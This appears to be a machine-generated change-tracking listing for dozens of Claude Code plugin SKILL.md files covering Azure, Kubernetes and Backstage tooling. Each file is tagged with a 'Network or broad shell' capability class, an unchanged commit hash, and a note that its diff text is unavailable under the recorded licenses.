harness/claude-code/plugins/azure-cloud-development/skills/import-infrastructure-as-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-kusto/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-messaging/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-postgre-database-management/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-data-development/skills/azure-storage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/azure-static-web-apps/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/cloud-design-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/cosmosdb-datamodeling/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-governance/skills/azure-compliance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-governance/skills/azure-quotas/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-governance/skills/azure-role-selector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-governance/skills/azure-well-architected-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-argocd-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-helm-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubectl-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-ai-catalog/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-app-bootstrap/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-app-configuration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-authentication/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog-db-performance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-core-contribution/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-framework/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-kubernetes/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-mcp-actions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-notifications/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-operations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-permissions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-search/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-software-templates/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-techdocs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

